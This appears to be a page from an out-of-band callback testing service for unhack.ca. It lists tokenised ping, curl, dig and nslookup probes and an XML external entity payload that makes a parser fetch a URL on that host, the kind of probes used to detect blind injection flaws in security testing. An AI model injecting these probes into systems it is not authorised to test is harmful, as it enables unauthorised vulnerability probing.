$ ping -c1 -p 00a02c9f0fbb00c642ab3384a4b87300 unhack.ca
 

$ curl http://unhack.ca/p/a02c9f0fbb00c642ab3384a4b873
 

$ dig a02c9f0fbb00c642ab3384a4b873 @unhack.ca
 

$ dig a02c9f0fbb00c642ab3384a4b873.ns.unhack.ca
 

C:\> nslookup a02c9f0fbb00c642ab3384a4b873 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a02c9f0fbb00c642ab3384a4b873">]>
    <foo>&xxe;</foo>